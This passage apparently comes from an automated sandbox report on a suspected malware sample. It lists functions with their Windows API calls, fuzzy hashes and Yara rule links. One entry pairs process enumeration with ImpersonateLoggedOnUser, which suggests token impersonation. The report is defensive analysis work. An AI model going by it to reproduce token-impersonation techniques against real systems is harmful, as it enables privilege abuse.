Part of subcall function 00000218BFBBED30: CloseHandle.KERNEL32 ref: 00000218BFBBEFB6
Part of subcall function 00000218BFBBED30: Process32NextW.KERNEL32 ref: 00000218BFBBEFC3
Part of subcall function 00000218BFBBED30: CloseHandle.KERNEL32 ref: 00000218BFBBF007

ImpersonateLoggedOnUser.ADVAPI32 ref: 00000218BFBBF4DD
ImpersonateLoggedOnUser.ADVAPI32 ref: 00000218BFBBF9C8
RevertToSelf.ADVAPI32 ref: 00000218BFBBF9E6

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleImpersonateLoggedNextOpenProcessUser$CreateFirstRevertSelfSnapshotTokenToolhelp32
String ID:
API String ID: 1562318730-0
Opcode ID: dbf08fb0530270e0a5fafac03dddf9d6734b894968ebc745a755e300d34969bd
Instruction ID: 4efd2534f2a50cb9a1654ae34b8d4914aeedd94b04f7d766e1e6e602e2a102e3
Opcode Fuzzy Hash: dbf08fb0530270e0a5fafac03dddf9d6734b894968ebc745a755e300d34969bd
Instruction Fuzzy Hash: 0722C572718B8485FB00DB79D4983DD2761E7A57ACF505601EAAD87AEBDF78C981C300

Function 00000218BFBEA888 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000218BFBEA907
WriteFile.KERNEL32 ref: 00000218BFBEABCF
WriteFile.KERNEL32 ref: 00000218BFBEAC15
GetLastError.KERNEL32 ref: 00000218BFBEACCB

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 523722e26ffa46449d979bd975143a43a29be3ae997596a7a20ff96f8c1017ee
Instruction ID: 00278e6f6769a62909dcb398f6f55870011fe6c5f781d278cca0359ebd835574
Opcode Fuzzy Hash: 523722e26ffa46449d979bd975143a43a29be3ae997596a7a20ff96f8c1017ee
Instruction Fuzzy Hash: BED1DE32B18A84CAE711CF69D8882DC77A9F764B9CF044616DE69D7B99DE34CA06C700

Function 00000218BFBEB248 Relevance: 6.2, APIs: 4, Instructions: 218COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000218BFBEB364
GetLastError.KERNEL32 ref: 00000218BFBEB3EF

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 051a95757f3cd31bcbf302130b81a7499006cb3b8c40f8426fd2f443c90a72fc
Instruction ID: 377fdcf5d04c8d0a1bf47cb08f374341c8fc5db3c7202d4168609976e6cd9cf5
Opcode Fuzzy Hash: 051a95757f3cd31bcbf302130b81a7499006cb3b8c40f8426fd2f443c90a72fc
Instruction Fuzzy Hash: A091FF3271869085FB60DF6594D83ED2BA4F764B8CF548509DE1AA7A95CF38CE86CB00

Function 00007FF7AA109B40 Relevance: 6.2, APIs: 4, Instructions: 184COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA109C80
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA109C86
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA109CE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA109D7C

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: ccfe53ba09f4fe5ed3b1926650209fc6c0cace94c63fa37a7c28710fcedfeb16
Instruction ID: 835ca0f9098171f666fd59bb41241b4a9ee9e2660e11e079d0a6c1ab9c9988ed
Opcode Fuzzy Hash: ccfe53ba09f4fe5ed3b1926650209fc6c0cace94c63fa37a7c28710fcedfeb16
Instruction Fuzzy Hash: 8551F562B0A681D5FE16AB11F1143BDF2A1EB04BD4FAA4571DB5C0B7A5EE3DD8828310

Function 00000218BFBD4220 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00000218BFBD4240
FreeEnvironmentStringsW.KERNEL32 ref: 00000218BFBD433B
RtlInitUnicodeString.NTDLL ref: 00000218BFBD43AE
RtlInitUnicodeString.NTDLL ref: 00000218BFBD43BB

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: EnvironmentInitStringStringsUnicode$Free
String ID:
API String ID: 2488768755-0
Opcode ID: f0ba7188dc1db7b6fdd8a6b732626966757021621c6983e9daedbd6d1f4ccadb
Instruction ID: d680604f23a15dcbb0d448e54ef8d9cca3fa72e6833a515861289665545268b9
Opcode Fuzzy Hash: f0ba7188dc1db7b6fdd8a6b732626966757021621c6983e9daedbd6d1f4ccadb
Instruction Fuzzy Hash: 2351BD36A18B80C2EB248F19F48439D7760F7A8B98F589211EB9C43B95DF78D6E1C300

Function 00000218BFB90120 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFC0A8FC: std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFC0A919
Part of subcall function 00000218BFC0A8FC: std::locale::_Setgloballocale.LIBCPMT ref: 00000218BFC0A93C

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFB90161
std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFB90186
std::_Facet_Register.LIBCPMT ref: 00000218BFB90232
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB90294

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_RegisterSetgloballocalestd::locale::_
String ID:
API String ID: 3698853521-0
Opcode ID: 7fc3597cd9704a6304594a27bb2dfeeca3e59ce2e728f14c12add50f8541c22a
Instruction ID: 6d9543c22fea932f978e8d0b9ff5a0b8ff242ff93e29f7a9a031ec649aaf7b97
Opcode Fuzzy Hash: 7fc3597cd9704a6304594a27bb2dfeeca3e59ce2e728f14c12add50f8541c22a
Instruction Fuzzy Hash: 38419532218B5081EB10DF25E8D83DD77A4F7A8B98F555522EA9D837A5DF38CA86C700

Function 00000218BFBE0274 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE02ED
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE0349
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE0384
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE03A9

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f47f5365830de18e31c9f66efcfcebced3ed900e80df05c2fe820f8996efde49
Instruction ID: 3b38105d51a120e9037583d95edae6a19ae58c94215cac254206e785efa4baf9
Opcode Fuzzy Hash: f47f5365830de18e31c9f66efcfcebced3ed900e80df05c2fe820f8996efde49
Instruction Fuzzy Hash: 1C41637610DA84C6EB52DF24C4983ED3FE0E769F88F498452C6998738ADE3DCA45C712

Function 00000218BFB91DD0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFB91DFB
std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFB91E20
std::_Facet_Register.LIBCPMT ref: 00000218BFB91ECB
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB91F16

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: deae80201b058b93dee9511eb23f4883bce05ec3d16f28b31309998fe1f492bf
Instruction ID: 687096e4d9ef538bd1639b0a94c19036083f70e8020aa774219427c8d6ba5e54
Opcode Fuzzy Hash: deae80201b058b93dee9511eb23f4883bce05ec3d16f28b31309998fe1f492bf
Instruction Fuzzy Hash: A8418272218E5080EA11DB25E4D83ED7760F7A8B9CF585121AA8D877A6DF38CA82C700

Function 00000218BFBA39F0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBA3A1B
std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBA3A40
std::_Facet_Register.LIBCPMT ref: 00000218BFBA3AEB
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBA3B36

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 268a738e79390acd07def2dc4d1be91678e0d7bbd421806bae9408622498fc9b
Instruction ID: bf4b63e92993776c242051cc7acf3d29e36e421185f0d977f0ff27407d09289e
Opcode Fuzzy Hash: 268a738e79390acd07def2dc4d1be91678e0d7bbd421806bae9408622498fc9b
Instruction Fuzzy Hash: 00419636208A5084FA15DB15E4D83ED7764F7A4B9CF5C0212DA8D877A6EF3CCA92C700

Function 00000218BFBC4940 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBC496B
std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBC4990
std::_Facet_Register.LIBCPMT ref: 00000218BFBC4A3B
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBC4A86

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 225fe1b72370eebaf99dac6ca4c61f0c7a8ae1283e1f422937767657019483ac
Instruction ID: 6c06f7ebbe954513e31aebe2d69225d21c7b823dfa388970e52828edfcaa34de
Opcode Fuzzy Hash: 225fe1b72370eebaf99dac6ca4c61f0c7a8ae1283e1f422937767657019483ac
Instruction Fuzzy Hash: 7041B432218A50C5FA15DB25E4D83EE7760F764B98F180512EA9D877A5DF38CB86C704

Function 00000218BFBC40C0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBC40EB
std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBC4110
std::_Facet_Register.LIBCPMT ref: 00000218BFBC41BB
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBC4206

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: f751cf97cbdb91efc437d10692cdb5900781dee89e6afe037389110580d2090b
Instruction ID: ace2050ae7c978c74d22b0e480e647a0ecdb9cdf2407efbbbb7381de00b42a3b
Opcode Fuzzy Hash: f751cf97cbdb91efc437d10692cdb5900781dee89e6afe037389110580d2090b
Instruction Fuzzy Hash: 82418271218A5080EA15DB15E8D83EE6764F7B8B98F180522DA8D877A5DE38CB86C700

Function 00007FF7AA102810 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AA10283B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AA102860
std::_Facet_Register.LIBCPMT ref: 00007FF7AA10290B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA102956

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 3a769e8cb690939059ebf57778ce7d24e14301819ffc5f3cd8bedc43d4ee7ce3
Instruction ID: f751f8d3d66878b0fbbb89b16b7c6a35a6471aeb8f5beace2a47d727e1a47059
Opcode Fuzzy Hash: 3a769e8cb690939059ebf57778ce7d24e14301819ffc5f3cd8bedc43d4ee7ce3
Instruction Fuzzy Hash: 36418121A0AA42D1FA16BF15F440279B3B0FB58B94F9A0176EB5D076B5CF3CE0478320

Function 00000218BFC09704 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00000218BFC0974D
GetLastError.KERNEL32 ref: 00000218BFC0975B
WideCharToMultiByte.KERNEL32 ref: 00000218BFC09790
GetLastError.KERNEL32 ref: 00000218BFC0979E

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 885017ec562e008ced87b7a088d7b161d23e12804f5abb955417809e776ebcf4
Instruction ID: 3a4569eb80f65e842f761da1edaef5c1ae9d4e8ede9a86331e5006f8cf160946
Opcode Fuzzy Hash: 885017ec562e008ced87b7a088d7b161d23e12804f5abb955417809e776ebcf4
Instruction Fuzzy Hash: 74213B72618B9487F3108F25E49875EB7B4F799BD8F240128DB8997B64DF39C9428B00

Function 00000218BFC09BF0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFC09520: GetModuleHandleW.KERNEL32 ref: 00000218BFC09536
Part of subcall function 00000218BFC09520: GetProcAddress.KERNEL32 ref: 00000218BFC09546

GetLastError.KERNEL32 ref: 00000218BFC09C14

Part of subcall function 00000218BFBE7BC4: IsProcessorFeaturePresent.KERNEL32 ref: 00000218BFBE7BEA

GetFileAttributesW.KERNEL32 ref: 00000218BFC09C23
__std_fs_open_handle.LIBCPMT ref: 00000218BFC09C4C
CloseHandle.KERNEL32 ref: 00000218BFC09C5E

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Handle$AddressAttributesCloseErrorFeatureFileLastModulePresentProcProcessor__std_fs_open_handle
String ID:
API String ID: 156590933-0
Opcode ID: ab22cb6cb8c17ed70bd3674071cc7aa31663a6931c8f4e60418ec3b925b4023f
Instruction ID: 0dafca9c7bc4a8375d87b981ab77e0607df386fa6c88093cc7c813b1678866c5
Opcode Fuzzy Hash: ab22cb6cb8c17ed70bd3674071cc7aa31663a6931c8f4e60418ec3b925b4023f
Instruction Fuzzy Hash: B7118F31A1C65055FB504B35A0EC3AE67A1EBA47F8F141610AAB7C6FF4DE38C6828B00

Function 00007FF7AA12DB00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7AA12DB2C
GetCurrentThreadId.KERNEL32 ref: 00007FF7AA12DB3A
GetCurrentProcessId.KERNEL32 ref: 00007FF7AA12DB46
QueryPerformanceCounter.KERNEL32 ref: 00007FF7AA12DB56

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1d716b8a3445a5a0872bb1fe03444624e5d71f17f3b0535b1150a759f8b14a6e
Instruction ID: f6c28fb42156a805855edbb9a5a21dc0b6d0da354e990b141323e06661aa2920
Opcode Fuzzy Hash: 1d716b8a3445a5a0872bb1fe03444624e5d71f17f3b0535b1150a759f8b14a6e
Instruction Fuzzy Hash: 77118826B16F01CAFB409F60E8942B873B4FB19758F850E35DA6D86BA4DF7CD05583A0

Function 00000218BFB7EAA0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

[json.exception., xrefs: 00000218BFB7EBDB

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID:
String ID: [json.exception.
API String ID: 0-791563284
Opcode ID: f12e5e6bab6da389f838604e2b5236ca074fa8d1cbcc49ddefe9ceb58e17403c
Instruction ID: bf04a28c6d94105a8c52675635280e36034c28b1cd639c3ac56c7a1cee6ca426
Opcode Fuzzy Hash: f12e5e6bab6da389f838604e2b5236ca074fa8d1cbcc49ddefe9ceb58e17403c
Instruction Fuzzy Hash: 25712472B14B9085F700CF79E8943DD3BA1EBA5B98F505215DE5957B8ACF78CA81C340

Function 00000218BFBC4EC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBC4F2F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000218BFBC4F77

Strings

bad locale name, xrefs: 00000218BFBC504C

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 409f49d01fef858ffdbd088741ae0195d110fd44b0516afdb47a575a18fd2010
Instruction ID: cfd853af4ef535683e30c4d1263cc70e876d139cc05105bc05f2e25069535ccd
Opcode Fuzzy Hash: 409f49d01fef858ffdbd088741ae0195d110fd44b0516afdb47a575a18fd2010
Instruction Fuzzy Hash: 90514C32709A808AFB14DF70D4943ED33A4EB64B4CF484435EA4DA7A95CE34CA559345

Function 00000218BFBA4780 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBA47EF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000218BFBA4837

Strings

bad locale name, xrefs: 00000218BFBA4916

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 5b236c7c7a2f26e7d10c1437b2e4c569ca43ec723a046ab1c85b9be404552392
Instruction ID: 5203211e9f698091cd5346b5194cb679484930085cb9bdc0677ac640b0f0d576
Opcode Fuzzy Hash: 5b236c7c7a2f26e7d10c1437b2e4c569ca43ec723a046ab1c85b9be404552392
Instruction Fuzzy Hash: 64514D36309A80DAFB14DF70E4943EC33A4FB6474CF444525EA49A7AA5DE34CA66D305

Function 00000218BFBF1068 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000218BFBF6448: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBF647B

_get_daylight.LIBCMT ref: 00000218BFBF1180
_get_daylight.LIBCMT ref: 00000218BFBF1191

Strings

?, xrefs: 00000218BFBF1111

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: ee72351df311ff027eaf8af198dd50b8868fef75caf7a1d708de55c1de70a8ab
Instruction ID: 5d311d7e5b11b639a5877ab50af17dc4e0dd8f5953bd5f420b3ffee04c04aeac
Opcode Fuzzy Hash: ee72351df311ff027eaf8af198dd50b8868fef75caf7a1d708de55c1de70a8ab
Instruction Fuzzy Hash: 6141EB3260C78046FB649B26E4997ED6790E7A0BACF144625EED887AD5DE38CE41C700

Function 00000218BFBEAF20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000218BFBEB037
GetLastError.KERNEL32 ref: 00000218BFBEB059

Strings

U, xrefs: 00000218BFBEAFE3

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 95c1b5a9b453dd21b53d1d3abd175e481a437f6821d85bbfa209bab1ceee3d57
Instruction ID: 251d93c5a0aceec59a9d4e9ccf7ab1fe2896a969e72bb2fd5010743b9af5c00e
Opcode Fuzzy Hash: 95c1b5a9b453dd21b53d1d3abd175e481a437f6821d85bbfa209bab1ceee3d57
Instruction Fuzzy Hash: AA41B572319A8086EB20CF65E4987EDA7A4F7A8788F404421EE4DC7B94DF3CCA41CB40

Function 00007FF7AA112C62 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112CB8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA112CF4

Strings

Number is too big., xrefs: 00007FF7AA112CB1

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argument_invalid_parameter_noinfo_noreturnstd::_
String ID: Number is too big.
API String ID: 1132134225-3173473636
Opcode ID: c199d333f1b9cab04b9b1dbb8748059f08981d1f8fb7dc04a3d92c236ba5b13e
Instruction ID: 5c10b9e26a9bed4705db80f4908f76a0afd28b85a26db0db81a34884fb5f372b
Opcode Fuzzy Hash: c199d333f1b9cab04b9b1dbb8748059f08981d1f8fb7dc04a3d92c236ba5b13e
Instruction Fuzzy Hash: 6E1121A2C092479FFE4B3670D45A2F9A720EF61211FD20EB8E268059B3FE1D36074760

Function 00007FF7AA112B32 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112B88
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA112BC4

Strings

Number is too big., xrefs: 00007FF7AA112B81

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argument_invalid_parameter_noinfo_noreturnstd::_
String ID: Number is too big.
API String ID: 1132134225-3173473636
Opcode ID: e27543cdf6f61a29e8ddc80b75bd824cddccc2a0fb75e3bf775b0164ce3b1caa
Instruction ID: 7b89e5cb8c811ebc5abcce8f30e871afe23db8fd79617ee0f150b9a830e60168
Opcode Fuzzy Hash: e27543cdf6f61a29e8ddc80b75bd824cddccc2a0fb75e3bf775b0164ce3b1caa
Instruction Fuzzy Hash: 6711933290D247DFF212BB78D44A5ADBE609F01644FB54EB9D7A8428A3DE0D70828311

Function 00000218BFBFF198 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00000218BFBFF1E8
RaiseException.KERNEL32 ref: 00000218BFBFF229

Strings

csm, xrefs: 00000218BFBFF216

Memory Dump Source

